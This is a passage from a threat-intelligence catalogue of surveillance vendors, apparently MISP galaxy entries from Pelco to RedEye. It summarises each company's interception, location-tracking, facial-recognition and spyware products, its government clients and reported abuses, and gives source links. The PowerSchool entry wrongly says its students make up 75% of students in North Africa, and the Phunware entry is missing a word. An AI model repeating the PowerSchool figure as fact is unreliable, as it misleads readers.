https://www.intelligenceonline.com/surveillance—interception/2023/07/13/tesseract-intelligence-in-uae-darpa-s-underwater-acoustic-sensors-skyral-defence,110003278-art

Pelco

Californian company Pelco uses monitoring equipment by Israeli company Vigilant Technologies to implement one of the largest digital monitoring systems in the world via a collaboration with NYPD in the U.S. Pelco was acquired by Schneider Electric, a French multinational corporation, in 2007. Later, in 2019, Pelco was sold by Schneider Electric to Transom Capital Group. Pelco was eventually acquired by Motorola Solutions in 2020 and remains its current owner.

Pelco cooperates with Dahua Technology, whose tools are used by the authorities in China to track, monitor and target Uyghurs.

The tag is: *misp-galaxy:surveillance-vendor="Pelco"*

Table 17922. Table References

Links
https://www.israel21c.org/israeli-surveillance-cameras-help-the-us-stay-vigilant/
https://www.fresnobee.com/news/business/article244689802.html
https://www.securitysales.com/business/mergers/schneider-electric-pelco-transom-capitial/

PenLink

PenLink is a software company that develops communications surveillance and data analysis solutions for law enforcement. It has become a go-to resource for agencies monitoring users across various platforms, including Google, Facebook, and WhatsApp. Its federal clients in the U.S. include the FBI and U.S. Immigration and Customs Enforcement (ICE.) PenLink's flagship products, PLX and PenPoint, enable law enforcement to collect and analyze large amounts of data, including social media interactions and telecommunications records.

In 2022, PenLink acquired GeoTime, which develops data collection and analysis software, and in 2023, it acquired the Israeli surveillance company Cobwebs Technologies, which develops software that aggregates data from phones and social media, converting it into intelligence.

In October 2025, The Washington Post reported that PenLink supplied ICE with Weblocs, a cellphone location tracking system that allows the agency to monitor individuals' movements without obtaining a court warrant.

The tag is: *misp-galaxy:surveillance-vendor="PenLink"*

Table 17923. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2022/02/23/meet-the-secretive-surveillance-wizards-helping-the-fbi-and-ice-wiretap-facebook-and-google-users/
https://www.newsweek.com/ice-just-signed-24m-contract-secretive-data-surveillance-company-can-track-you-962493

https://www.miaminewtimes.com/news/miami-police-want-penlink-phone-spying-technology-11287370
https://unicornriot.ninja/2023/aimed-at-protests-surveillance-contractors-new-owners-expand-spy-tech-portfolio/
https://www.miaminewtimes.com/news/miami-dade-may-extend-secret-pen-link-cellphone-tracking-program-11082775
https://www.1011now.com/content/news/Top-secret-phone-surveillance-company-calls-Lincoln-home-meet-the-man-who-created-it-566177591.html
https://www.penlink.com/penlink-acquires-geotime/
https://www.penlink.com/cobwebs-technologies-joins-penlink-to-expand-its-digital-investigative-platform/
https://www.forbes.com/sites/thomasbrewster/2024/11/25/ice-spent-millions-on-phone-hacking-tech-just-in-time-for-trumps-mass-deportation-plans/
https://www.washingtonpost.com/technology/2025/10/17/ice-surveillance-immigrants-antifa/

Perceptics

Perceptics, a Tennessee-based subcontractor, became widely known after a hack exposed sensitive data, including license plate images and drivers' photos, collected by their license plate readers for U.S. Customs and Border Protection (CBP). Perceptics has also faced criticism for its role in gathering and analyzing location data, particularly in border communities. Internal emails reveal that Perceptics engaged in controversial trials combining license plate readers with facial recognition technology, and lobbied to influence privacy legislation while downplaying their involvement in data use. The company also transferred license plate and traveler images to its own privately owned network, causing it to be suspended by CBP.

The tag is: *misp-galaxy:surveillance-vendor="Perceptics"*

Table 17924. Table References

Links
https://www.washingtonpost.com/technology/2019/07/02/border-surveillance-subcontractor-suspended-after-cyberattack-misuse-traveler-images/
https://theintercept.com/2019/07/15/hacked-surveillance-perceptics-congress-lobby-privacy/
https://www.theregister.com/2019/05/23/perceptics_hacked_license_plate_recognition/
https://theintercept.com/2019/07/09/surveillance-perceptics-new-york-city-drivers/
https://www.washingtonpost.com/technology/2019/06/10/us-customs-border-protection-says-photos-travelers-into-out-country-were-recently-taken-data-breach/
https://theintercept.com/2020/02/26/henry-cuellar-perceptics-hack/

Percepto

Percepto is an Israeli company that develops autonomous surveillance and monitoring solutions. Its primary platform, Percepto AIM, integrates autonomous drones and ground robots to perform continuous monitoring. It's also the developer of Sparrow I, a fully autonomous drone with defense applications. These systems use AI and computer vision to provide real-time intelligence. The company's Chief Commercial Officer, Ariel Avitan, claimed the company's technology is heavily influenced by Israel's advanced defense ecosystem. Percepto's technology have also been purchased by other countries and their homeland security departments.

The tag is: *misp-galaxy:surveillance-vendor="Percepto"*

Table 17925. Table References

Links
https://israel365news.com/320966/israels-first-fully-autonomous-drone-uses-ai-conduct-real-life-missions/
https://www.timesofisrael.com/israeli-drone-maker-percepto-raises-67-million-after-us-regulatory-nod/
https://nocamels.com/2021/11/percepto-new-drone-ai-powered-analytics/
https://www.jpost.com/israel-news/israeli-drone-maker-percepto-launches-new-ai-inspection-system-and-drone-685504
https://www.calcalistech.com/ctech/articles/0,7340,L-3875932,00.html

Phantom Technologies

Phantom Technologies Ltd. is a manufacturer of tactical intelligence and surveillance tools. Their IMSI catcher, the IMSI400, is designed to collect cellular phone identities off the air, operating across GSM, UMTS, and LTE networks, compatible with 2G, 3G, and 4G communication generations.

The tag is: *misp-galaxy:surveillance-vendor="Phantom Technologies"*

Table 17926. Table References

Links
https://phantom-technologies.com/inelligence-solution/

Phoenix Worldwide Industries

Phoenix Worldwide Industries is a U.S defense contractor that supplied Venezuela's government with Triggerfish devices, a specific type of IMSI Catcher in 2001. The firm also works closely with U.S. government intelligence agencies.

The tag is: *misp-galaxy:surveillance-vendor="Phoenix Worldwide Industries"*

Table 17927. Table References

Links
https://wikileaks.org/wiki/Venezuela_buying_millions_in_spy_equipment_from_US_Phoenix_Industries_2000
https://armando.info/en-estos-puntos-rojos-tu-celular-es-un-libro-abierto/
https://www.atlanticcouncil.org/wp-content/uploads/2024/07/Venezuela-a-playbook-for-digital-repression.pdf
https://web.archive.org/web/20060513133128/www.phoenixworldwide.com/AboutUs.aspx

Phunware

Phunware Inc. is a San Diego based that develops mobile software and blockchain solutions. Its mobile applications are designed for advertising, offering features like personalized ad targeting, location-based tracking, and cryptocurrency-powered brand loyalty programs. The firm built the official Trump 2020 re-election campaign. This app enabled the campaign to collect extensive personal data from users, including location information, contact lists, and behavioral patterns, facilitating targeted political advertising and fundraising efforts. The company's technology, which includes geofencing and data mining capabilities, allowed the campaign to monitor supporter movements and interactions.

The tag is: *misp-galaxy:surveillance-vendor="Phunware"*

Table 17928. Table References

Links
https://www.newyorker.com/news/campaign-chronicles/the-trump-campaigns-mobile-app-is-collecting-massive-amounts-of-voter-data
https://theintercept.com/2020/04/09/coronavirus-trump-smartphone-tracking/
https://slate.com/technology/2019/12/trump-2020-app-phunware-ads-data-tracking.html
https://theintercept.com/2019/12/11/the-donald-trump-campaign-is-deploying-phone-location-tracking-technology/
https://apnews.com/article/phunware-app-helped-power-trump-campaign-89ed273f60e37ff9ee020dd2f5d3df04
https://www.redherring.com/startups/malaysian-government-fund-invests-22m-austins-phunware/
https://www.accionlabs.com/news/phunware-partners-with-accion-labs-to-provide-mobile-solutions-for-digital-transformation

PicSix

PicSix, also known as P6, is an Israeli cyber surveillance company based in Even Yehuda and run by former Israeli intelligence agents. It specializes in mobile interception technology. Their flagship product, P6Intercept, enables mass surveillance of hundreds of mobile phones simultaneously within its operational range.

An Al Jazeera investigation uncovered that Bangladesh's Directorate General of Forces Intelligence

(DGFI) acquired P6Intercept through an elaborate scheme designed to obscure the transaction's true nature. The deal involved multiple intermediaries: Sovereign Systems, a Singapore-based company, facilitated the purchase in Hungary, while James Moloney, an Irish national based in Bangkok, served as a middleman. To obscure the product's Israeli origin, the contract falsely listed Hungary as the country of manufacture. This arrangement allowed PicSix to conduct business with countries that typically avoid direct dealings with Israel.

During product demonstrations to Bangladeshi intelligence officials, PicSix representatives reportedly conducted unauthorized phone interceptions in Hungary.

Another notable product in their lineup is P6-FI5, a portable interception system that creates deceptive cell towers compatible with GSM, 3G, and 4G networks. This device employs a sophisticated strategy to bypass encryption: it deliberately disrupts encrypted applications on target devices, forcing users to switch to less secure, easily interceptable communication methods. Additionally, the system can deploy malware to any device connected to its counterfeit cell tower.

The tag is: *misp-galaxy:surveillance-vendor="PicSix"*

Table 17929. Table References

Links
https://www.aljazeera.com/news/2021/2/2/bangladesh-bought-surveillance-equipment-from-israeli-company
https://www.technologyreview.com/2019/12/10/131646/cops-see-an-encryption-problem-spyware-makers-see-an-opportunity/
https://www.officer.com/command-hq/technology/security-surveillance/covert-technology/product/12002695/picsix-ltd-p6intercept-a-passive-communications-interception-system
https://www.middleeasteye.net/news/israeli-firm-sold-spyware-bangladesh-despite-export-ban

PKI Electronic Intelligence

PKI Electronic Intelligence, headquartered in Germany, is a developer of advanced surveillance and intelligence gathering technologies tailored for law enforcement and government agencies. Among their offerings is the PKI 1650 IMSI-Catcher, a device designed to track individuals by identifying their mobile phone identities. According to their website, this system allows multiple officers to monitor information both on-site and remotely, providing real-time data and logging capabilities for intelligence purposes.

Their products also include GSM cellular monitoring systems, long range WiFi interception, WiFi clone systems and audio surveillance equipment.

The tag is: *misp-galaxy:surveillance-vendor="PKI Electronic Intelligence"*

Table 17930. Table References

Links
https://pki-electronic.com/products/imsi-catcher/imsi-catcher/

https://pki-electronic.com/wp-content/uploads/2022/04/New-Catalogue-2022.pdf
https://sls.eff.org/technologies/cell-site-simulators-imsi-catchers
https://www.researchandmarkets.com/reports/5681628/imsi-catcher-market-2024-2028

Placer.ai

Placer.ai is a company that provides highly intrusive location analytics, using geolocation data from mobile devices to track foot traffic, consumer behavior, and real-world movement patterns.

Placer.ai admitted that its platform was used to access data on 17 Planned Parenthood locations between 2020 and 2022.

The tag is: *misp-galaxy:surveillance-vendor="Placer.ai"*

Table 17931. Table References

Links
https://www.vice.com/en/article/location-data-broker-placer-admits-accessed-planned-parenthood-data/
https://venturebeat.com/ai/placer-ai-raises-4-million-to-use-ai-to-track-foot-traffic/
https://www.skynews.com.au/business/pricewaterhousecoopers-will-spy-on-employee-locations-as-it-forces-workers-back-into-the-office/news-story/2f543d0584b0150c7ca17bccfb086840
https://www.eff.org/deeplinks/2022/07/congress-probes-how-location-data-brokers-threaten-reproductive-privacy

PlateSmart

PlateSmart Technologies is a provider of AI-powered, camera-agnostic Automatic License Plate Recognition (ALPR) products. Their technology includes the ARES 3.0 system, which processes video streams from field cameras using proprietary AI-driven algorithms to extract vehicle data and make it available for search, analytics, and reporting. PlateSmart offers both static and mobile surveillance tools, including Mobile Defender, which incorporates realtime license plate recognition intelligence.

In 2016, the company announced its integration partnership with VIVOTEK, an IP surveillance provider.

The tag is: *misp-galaxy:surveillance-vendor="PlateSmart"*

Table 17932. Table References

Links
https://www.platesmart.com/solutions/
https://www.platesmart.com/platesmart-vivotek-international-integration/
https://triblive.com/local/sewickley/license-plate-readers-video-cameras-to-be-used-in-leetsdale/

https://www.intel.com/content/www/us/en/internet-of-things/ai-in-production/partners/platesmart.html
https://www.securityinfowatch.com/video-surveillance/cameras/mobile-vehicle-body-worn-surveillance/product/12106230/platesmart-technologies-platesmarts-ares-license-plate-recognition-software
https://thesiliconreview.com/magazine/profile/platesmart-ai-vehicle-recognition-solution

Polus Tech

Polus Tech is a Swiss-based company that develops and distributes surveillance technology, including IMSI catchers, which are devices capable of intercepting and tracking mobile phone communications. The company is led by Niv Karmi, a former co-founder of NSO Group.

In 2020, Polus Tech exported surveillance equipment worth 2.2 million Swiss francs to Indonesia.

The tag is: *misp-galaxy:surveillance-vendor="Polus Tech"*

Table 17933. Table References

Links
https://www.scmp.com/week-asia/politics/article/3261920/indonesias-rights-groups-call-transparency-nations-purchases-foreign-spyware-anyone-can-be-target
https://www.woz.ch/2140/pegasus-spionageskandal/der-dritte-mann
https://magz.tempo.co/read/law/41854/interview-with-niv-karmi
https://en.globes.co.il/en/article-even-if-nso-goes-cyberattack-is-here-to-stay-1001392319
https://www.tempo.co/arsip/soal-alat-sadap-imsi-catcher-di-indonesia-ini-kata-bos-polus-tech-62038

PortaOne

PortaOne is a Canadian software company that specializes in developing products for telecommunication service providers. A report by Citizen Lab revealed that it was selected by Iranian cellular carrier, Ariantel, to provide mobile account creation, service provisioning, and customized integration with Iran's Legal Intercept system, a component for conducting usage surveillance and control activity.

The tag is: *misp-galaxy:surveillance-vendor="PortaOne"*

Table 17934. Table References

Links
https://citizenlab.ca/2023/01/uncovering-irans-mobile-legal-intercept-system/

Positive Technologies

Positive Technologies is a Russian cybersecurity firm valued at over $1 billion, and which is reportedly involved in surveillance and spyware activities. The company provides network security solutions to businesses, governments, and international clients, while collaborating with Russian intelligence agencies like the FSB and GRU. In 2023, Russia's digital ministry, along with major local tech companies including Positive Technologies, met with Iran's communications and technology ministry to discuss exporting Russian technology to Iran.

The tag is: *misp-galaxy:surveillance-vendor="Positive Technologies"*

Table 17935. Table References

Links
https://www.technologyreview.com/2021/04/15/1022895/us-sanctions-russia-positive-hacking/
https://therecord.media/russia-iran-cyber-ties-agreement
https://en.mehrnews.com/news/218442/Russian-Indian-Chinese-companies-to-operate-in-Iran
https://cyberscoop.com/us-government-accuses-russian-companies-recruiting-spies-hacking/
https://www.intelligentcio.com/africa/2024/12/16/positive-technologies-signs-distribution-agreement-with-egypt-based-mcs/
https://www.arrownex.com/positive-technologies/

PowerSchool

PowerSchool is a provider of educational technology that collects and analyzes data on over 45 million K-12 students, representing 75% of students in North Africa. The company gathers extensive information, including demographic details, citizenship status, religious affiliation, disciplinary records, medical diagnoses, and family structure. This data is used to power predictive analytics, such as risk-scoring algorithms that assess student success based on factors like family wealth. PowerSchool's acquisitions, including Naviance, Kickboard, and Hoonuit, have expanded its reach into areas like college preparation, behavioral tracking, predictive risk scoring, and additional forms of student monitoring and surveillance.

In October 2024, PowerSchool was acquired by Bain Capital in a $5.6 billion deal.

The tag is: *misp-galaxy:surveillance-vendor="PowerSchool"*

Table 17936. Table References

Links
https://themarkup.org/machine-learning/2022/01/11/this-private-equity-firm-is-amassing-companies-that-collect-data-on-americas-children
https://proton.me/blog/ed-tech-trackers
https://www.baincapital.com/news/powerschool-be-acquired-bain-capital-56-billion-transaction

https://www.powerschool.com/news/powerschool-and-board-middle-east-partner-to-expand-digital-transformation-for-middle-east-education-leaders/
https://www.securityinfowatch.com/school-security/news/55264965/powerschool-data-breach-endangers-the-personal-information-of-millions-of-students
https://www.businessinsider.com/edtech-powerschool-sells-student-data-lawsuit-2024-10
https://www.theregister.com/2025/01/22/powerschool_canada_lawsuits/
https://www.sfgate.com/news/bayarea/article/class-action-suit-targets-widespread-mining-sale-19447189.php

Predicio

Predicio is a France-based company and provider of location data tracking and analytics. It collects granular location data by paying app developers for access to user data through its software development kit (SDK) called "Telescope." This data is then sold to various clients, including government agencies and private organizations. Reports indicate that Predicio's data has been part of a supply chain used by contractors working with U.S government contractors that service U.S. Immigration and Customs Enforcement (ICE) and the FBI.

The tag is: *misp-galaxy:surveillance-vendor="Predicio"*

Table 17937. Table References

Links
https://www.vice.com/en/article/muslim-app-location-data-salaat-first/
https://www.vice.com/en/article/ice-dhs-fbi-location-data-venntel-apps/
https://www.ibtimes.sg/salaat-first-another-popular-muslim-prayer-app-sells-location-data-fbi-ice-54843

Prelysis

Prelysis provides Wi-Fi interception systems for surveillance purposes. Based in Israel, it also has a presence in Cyprus, where they have obtained export licenses for the sale of their monitoring tools to non-EU countries. It is headed by Israeli citizen Kobi Naveh, who worked for worked for the Israeli company Verint until 2014. Verint is also the company that acquired the Cyprus-registered surveillance company UTX Technologies. Bangladesh's internal intelligence agency, or NSI, bought a system for intercepting Wi-Fi communications from the company.

The tag is: *misp-galaxy:surveillance-vendor="Prelysis"*

Table 17938. Table References

Links
https://www.timesofisrael.com/israeli-owned-firms-reportedly-selling-spyware-to-bangladesh-with-no-oversight/

https://pmo.portal.gov.bd/sites/default/files/files/pmo.portal.gov.bd/notices/1fdd568b_3092_4022_ab24_3c465aa2ae9b/go_cyprus_trng_NSI-194_180319.pdf
https://thewire.in/south-asia/bangladesh-spyware-israel-ban
https://www.business-humanrights.org/en/latest-news/bangladesh-report-reveals-government-purchase-of-israeli-spy-tech-inc-co-comment/
https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html
https://www.intelligenceonline.com/surveillance—interception/2023/01/26/like-intellexa-merlinx-collaborates-with-bangladeshi-intelligence,109906805-eve

Presight AI

Presight AI is a spun-off arm of the Abu Dhabi firm G42, overseen by the UAE's powerful national security adviser. It supports the UAE's controversial mass surveillance activities. Presight's marketing material describes the company's system as having "tracked and traced millions of people and vehicles easily." The company sells surveillance technology to police forces worldwide, including software nearly identical to products popular with police agencies in China.

The tag is: *misp-galaxy:surveillance-vendor="Presight AI"*

Table 17939. Table References

Links
https://apnews.com/article/cop28-climate-summit-surveillance-cameras-g42-activists-f93fd3c0d5759ba2378cac22994af90e
https://www.nytimes.com/2023/11/27/us/politics/ai-us-uae-china-security-g42.html
https://www.intelligenceonline.com/international-dealmaking/2023/02/01/presightai-is-opening-up-asian-markets-for-emirati-cyber-group-g42,109909061-art
https://enterprise.news/uae/en/news/story/9b2de8cb-b4dd-460e-9d54-3fd1576c047b/presight-completes-acquisition-of-aiq-for-usd-350-mn

Primer

Primer is a military-focused artificial intelligence company designed to support the "next-generation warfighter." It develops advanced AI solutions for mission planning, asset tracking, intelligence operations, and real-time threat detection. Its technology is capable of analyzing and synthesizing data from both classified and public sources, including surveillance, social media, and news outlets, to provide detailed intelligence for defense operations.

Primer is partnered with Palantir, a leading data analytics company, through Palantir's FedStart program. The program by Palantir offers a platform that allows companies, particularly startups, to quickly deploy their software to the US federal government and its various agencies with minimal compliance requirements.

The company's federal advisory board members include Sue Gordon, former principal deputy of national intelligence, Collin Green, a retired U.S. Navy vice admiral, and Daniel Simpson, a retired

U.S. Air Force major general who was also assistant deputy chief of staff for intelligence, surveillance and reconnaissance.

The tag is: *misp-galaxy:surveillance-vendor="Primer"*

Table 17940. Table References

Links
https://primer.ai/news/primer-ai-announces-fedramp-security/
https://www.washingtontimes.com/news/2024/feb/27/ai-company-primers-tools-used-by-americas-spies-to/
https://www.fastcompany.com/40484861/how-ai-helps-the-intelligence-community-find-needles-in-the-haystack
https://executivebiz.com/2024/09/primer-technologies-adds-collin-green-daniel-simpson-to-federal-advisory-board/

PRO4SEC

PRO4SEC is a Croatia-based manufacturer that provides covert surveillance technologies tailored for military, federal, and national intelligence operations. The company uses Surface-Mount Device (SMD) technology for their surveillance equipment. PRO4SEC operates exclusively through government-certified resellers and claims to have 41 resellers across 58 countries.

The tag is: *misp-galaxy:surveillance-vendor="PRO4SEC"*

Table 17941. Table References

Links
https://www.atlanticcouncil.org/uncategorized/surveillance-technology-at-the-fair/
https://www.securityandpolicing.co.uk/partners/
https://pro4sec.com/

Procera Networks

Procera Networks was a U.S.-based company that developed deep packet inspection (DPI) technology, which can be used for internet traffic management, censorship, and surveillance purposes. Procera’s technology was also allegedly used for surveillance and censorship purposes in countries with authoritarian regimes, including Bahrain, Kuwait, Turkey, Syria and Egypt. In 2015, Procera Networks was acquired by Francisco Partners, a private equity firm, and merged with Sandvine. It now operates under that brand.

The tag is: *misp-galaxy:surveillance-vendor="Procera Networks"*

Table 17942. Table References

Links
https://citizenlab.ca/tag/procera/

https://www.forbes.com/sites/thomasbrewster/2016/10/25/procera-francisco-partners-turkey-surveillance-erdogan/?sh=310bf5994434
https://masaar.net/en/sandvine-the-surveillance-octopus-in-the-arab-region/

Protect Electronic Systems

Protect Electronic Systems is a company based in the United Arab Emirates. It is one of the spyware firms detected by Google and Meta, and the company claims to be a cybersecurity firm but works with Variston, another spyware vendor, to package its spyware into products sold to government customers.

The tag is: *misp-galaxy:surveillance-vendor="Protect Electronic Systems"*

Table 17943. Table References

Links
https://www.intelligenceonline.com/international-dealmaking/2019/05/27/abu-dhabi-s-protect-takes-over-darkmatter-s-cyber-offensive-role,108358798-art

Protei

Protei is a Russia-based company that offers an extensive suite of telecommunications technologies with significant surveillance capabilities, enabling the monitoring of user communications, locations, and behaviors. Protei equipment is used by a range of telecom companies worldwide for logging internet usage as well as for blocking websites. It also offers "Smart City" related technologies for mass surveillance purposes. The company has offices in Jordan and Estonia and partners with major firms including Nokia and Oracle.

The tag is: *misp-galaxy:surveillance-vendor="Protei"*

Table 17944. Table References

Links
https://eurasianet.org/russia-spyware-firms-looking-to-export-surveillance-technology-to-central-asia-report
https://www.nytimes.com/2023/07/03/technology/russia-ukraine-surveillance-tech.html
https://cepa.org/article/russia-exports-digital-surveillance-despite-sanctions/
https://www.protei.me/protei-modernize-zongs-roaming-platforms/
https://web.archive.org/web/20210114143200/https://agentura.ru/english/projects/Project_ID/justbusiness/
https://citizenlab.ca/2023/01/uncovering-irans-mobile-legal-intercept-system/
https://web.archive.org/web/20201129133217/https://protei.com/clients
https://web.archive.org/web/20230531234831/https://protei.com/solutions/smart-city
https://www.protei.me/#customers

https://www.recordedfuture.com/research/tracking-deployment-russian-surveillance-technologies-central-asia-latin-america

Pwnzen Infotech

Pwnzen Infotech, a company backed by cybersecurity giant Qihoo 360, is a prominent player in China's growing surveillance technology industry. At the China International Exhibition on Police Equipment, Pwnzen showcased its advanced phone scanning systems, emphasizing their ability to extract data from overseas platforms like Facebook and Twitter. A representative highlighted a case where their technology was used to access the phone of a suspect accused of "subverting the government," retrieving data from social media accounts. They also operate in Singapore via their Singaporean subsidiary, Pwnzen Technology, under the leadership of Thomas Lim, who also works for surveillance company COSEINC, which was sanctioned by the U.S in 2021.

The tag is: *misp-galaxy:surveillance-vendor="Pwnzen Infotech"*

Table 17945. Table References

Links
https://www.euronews.com/business/2018/05/30/at-beijing-security-fair-an-arms-race-for-surveillance-tech
https://www.icij.org/investigations/china-cables/us-blacklists-chinese-companies-linked-to-uighur-abuses/
https://www.intelligenceonline.com/surveillance—interception/2021/11/08/blacklisted-by-the-us-zero-day-distributor-coseinc-works-on-for-china-s-pwnzen,109703349-art

Q Cyber Technologies

Q Cyber Technologies SARL is one of the entities affiliated with NSO Group, an Israeli-based company that sells Pegasus, one of the world's most sophisticated hacking tools, to governments and law enforcement agencies. The abuses were detailed in the Pegasus Project, a collaborative investigation by media organizations and Amnesty International revealing widespread misuse of Pegasus in multiple countries, targeting thousands of individuals. Q Cyber Technologies signs contracts, issues invoices, and receives payments from NSO Group customers.

The tag is: *misp-galaxy:surveillance-vendor="Q Cyber Technologies"*

Table 17946. Table References

Links
https://www.theguardian.com/business/2023/jan/04/management-of-five-firms-linked-to-pegasus-maker-nso-is-moved-to-london
https://www.amnesty.org/en/latest/news/2022/03/the-pegasus-project-how-amnesty-tech-uncovered-the-spyware-scandal-new-video/
https://www.technologyreview.com/2020/08/19/1007337/shalev-hulio-nso-group-spyware-interview/

QinetiQ

QinetiQ provides advanced communications and surveillance systems including high quality still and video photography, infra-red sensors, heat and movement detection, radar systems and LiDAR. The company can also manage the extraction, analysis and relay of data gathered through their Intelligence, Surveillance and Reconnaissance (ISR) operations.

The tag is: *misp-galaxy:surveillance-vendor="QinetiQ"*

Table 17947. Table References

Links
https://caat.org.uk/data/exports-uk/overview?company=QinetiQ
https://www.army-technology.com/projects/watchkeeper/
https://palestinecampaign.org/psc-company/qinetiq/
https://www.intelligenceonline.com/insiders/qatar/2021/10/25/barzan-holdings-qatar-s-defence-industry-giant-springing-up-out-of-the-desert/109699417-be1

Qosmos

Qosmos was a French technology company that developed Deep Packet Inspection (DPI) software. It has faced significant scrutiny for reportedly supplying surveillance tools to oppressive regimes, including Bashar al-Assad's government in Syria, confirmed by several investigations. The company's software is capable of monitoring internet traffic, which can be used to track dissidents and suppress opposition.

In 2012, French authorities opened a judicial investigation into Qosmos for its potential complicity in crimes against humanity. The company denied selling its products directly to the Assad government but faced accusations of indirectly enabling surveillance through intermediaries. Advocacy groups and human rights organizations have criticized Qosmos for failing to ensure its technology was not misused.

In 2016, it was acquired by Swedish company ENEA.

The tag is: *misp-galaxy:surveillance-vendor="Qosmos"*

Table 17948. Table References

Links
https://ifex.org/building-syrias-surveillance-state-a-privacy-international-investigation/
https://www.reuters.com/article/technology/france-investigates-tech-firm-accused-of-aiding-syria-idUSL6E8IQN95/
https://www.fidh.org/en/region/europe-central-asia/france/designation-of-qosmos-as-assisted-witness-constitutes-an-important
https://theworld.org/stories/2016/07/31/qosmos-tech-company-accused-aiding-syrian-regime
https://www.enea.com/news/press-releases/enea-completes-acquisition-of-qosmos/

QuaDream

QuaDream Ltd is an Israeli company that specialises in the development and sale of advanced digital offensive technology to government clients. The company is best known for its spyware marketed under the name “Reign”, which, like NSO Group’s Pegasus spyware, reportedly utilises zero-click exploits to hack into target devices. It was founded in 2014 by a group including two former NSO Group employees, Guy Geva, and Nimrod Reznik. In 2017, a company named InReach was established in Cyprus specifically to promote QuaDream products, such as Reign, outside of Israel. QuaDream utilized InReach to sell its products to its customers in order to bypass Israeli export controls. Many key employees of both InReach and QuaDream have previously worked for NSO Group, Verint, and UTX Technologies.

The tag is: *misp-galaxy:surveillance-vendor="QuaDream"*

Table 17949. Table References

Links
https://citizenlab.ca/2023/04/spyware-vendor-quadream-exploits-victims-customers/
https://www.securityweek.com/details-emerge-on-israeli-spyware-vendor-quadream-and-its-ios-malware/
https://www.reuters.com/technology/exclusive-iphone-flaw-exploited-by-second-israeli-spy-firm-sources-2022-02-03/
https://www.reuters.com/technology/microsoft-watchdog-group-say-israeli-spyware-used-hack-civil-society-2023-04-11/

Raedarius M8 Sdn Bhd

Raedarius M8 Sdn Bhd has been identified as one of the entities involved in the distribution and operation of FinFisher spyware in Indonesia for monitoring and surveillance purposes within the country. Amnesty International linked the entity to FinFisher by reviewing extracts of corporate records from company registers in Malaysia and Germany. Raedarius M8 in Malaysia is wholly owned by German Raedarius M8 GmbH.

The tag is: *misp-galaxy:surveillance-vendor="Raedarius M8 Sdn Bhd"*

Table 17950. Table References

Links
https://www.amnesty.org/en/latest/news/2024/05/unravelling-a-murky-network-of-spyware-exports-to-indonesia/
https://www.thejakartapost.com/indonesia/2024/05/05/report-says-police-bssn-have-imported-spyware-since-2017.html

Rank One Computing

Rank One Computing (ROC) is a U.S.-based provider of facial recognition and multimodal biometric

technologies, used by government, defense, and law enforcement agencies. Capabilities of their products include facial recognition, fingerprint, and iris recognition, alongside AI-driven video analytics. They also provide license plate recognition tools. The company has been linked to bias and errors in facial recognition, with studies showing higher error rates for individuals with darker skin tones.

The tag is: *misp-galaxy:surveillance-vendor="Rank One Computing"*

Table 17951. Table References

Links
https://www.themarshallproject.org/2024/11/12/protest-surveillance-technologies
https://dailyjournal.com/articles/379954-the-two-secrets-of-facial-recognition-technology
https://www.reuters.com/article/technology/face-recognition-vendor-vows-new-rules-after-wrongful-arrest-in-us-using-its-t-idUSKBN23W09Q/
https://www.forensicmag.com/565875-Detroit-Police-Challenged-Over-Face-Recognition-Flaws-Bias/
https://www.nbcnews.com/tech/security/facial-recognition-leads-first-wrongful-u-s-arrests-activists-say-n1231971
https://www.nytimes.com/2020/06/24/technology/facial-recognition-arrest.html

Raviraj Technologies

Raviraj Technologies is an Indian company based in Pune that develops and distributes RFID and biometric technology to a range of countries worldwide. Its products include facial recognition software, fingerprint and palm vein scanners and iris recognition systems.

The tag is: *misp-galaxy:surveillance-vendor="Raviraj Technologies"*

Table 17952. Table References

Links
https://cis-india.org/internet-governance/blog/the-surveillance-industry-in-india-at-least-76-companies-aiding-our-watchers
https://cis-india.org/internet-governance/blog/table-2.pdf
https://www.ravirajtech.com/contactus.html

RealNetworks

RealNetworks is a technology company that has developed facial recognition software designed for integration with autonomous drones. This technology, named Secure Accurate Facial Recognition (SAFR), is designed to enable real-time identification of individuals from aerial footage. It has been contracted by the U.S. Department of Defense.

SAFR is marketed globally and the company has international offices in Austria, Japan, Croatia, South Korea, United Arab Emirates, India, Indonesia, Australia, Portugal and Brazil.

The tag is: *misp-galaxy:surveillance-vendor="RealNetworks"*

Table 17953. Table References

Links
https://www.vice.com/en/article/us-military-signs-contract-to-put-facial-recognition-on-drones/
https://www.newsweek.com/ai-drone-facial-recognition-ethic-issues-1784088
https://www.securityinformed.com/insights/safr-security-accurate-real-time-face-co-1151-ga-co-2566-ga-co-2889-ga-co-5041-ga-co-1554987129-ga-sb.1559282493.html
https://www.popularmechanics.com/military/a43064899/air-force-drones-facial-recognition/
https://www.prnewswire.com/news-releases/realnetworks-llc-announces-closing-of-acquisition-of-realnetworks-inc-by-ceo-rob-glaser-301708718.html
https://safr.com/about-safr/

Rebsec Solutions

Rebsec Solutions is a "hack-for-hire" group targeting sectors like government, healthcare, and telecom in countries such as Saudi Arabia, the UAE, and Bahrain. Their campaigns reportedly involve spear-phishing and credential-stealing tactics. Google identified Rebsec Solutions as part of a group conducting malicious campaigns against targeted individuals.

The tag is: *misp-galaxy:surveillance-vendor="Rebsec Solutions"*

Table 17954. Table References

Links
https://www.atlanticcouncil.org/in-depth-research-reports/report/mythical-beasts-and-where-to-find-them-mapping-the-global-spyware-market-and-its-threats-to-national-security-and-human-rights/
https://mahdiabbastech.medium.com/google-tag-block-domains-belongs-to-one-of-indian-hack-for-hire-group-3f76af487ed
https://www.reuters.com/investigates/special-report/usa-hackers-appin/
https://www.securityweek.com/google-blocks-domains-hack-hire-groups-russia-india-uae/

RedEye

RedEye, based in Ankara, Turkey, develops a range of surveillance products, including IMSI catchers. Acquired in 2021, RedEye's technologies were integrated into Pavo Group's subsidiary, Interdata, also a developer and distributor of surveillance and intelligence tools. RedEye has clients in Malaysia, where its technologies are used for surveillance purposes by the Malaysian intelligence services.

The tag is: *misp-galaxy:surveillance-vendor="RedEye"*

Table 17955. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/11/10/interdata-moves-into-interception-market-thanks-to-discreet-redeye-acquisition,109843460-art
https://www.intelligenceonline.com/surveillance—interception/2024/07/02/kuala-lumpur-sources-cyber-tools-from-turkish-operator,110253523-art
https://tracxn.com/d/companies/redeye/VIMGNmd7_RrjL1hVIpcyXxw8Q7B4Mefs5tTdtZyhOBs
https://www.red3eye.com/en/facility-and-security/border-security-systems

Rekor

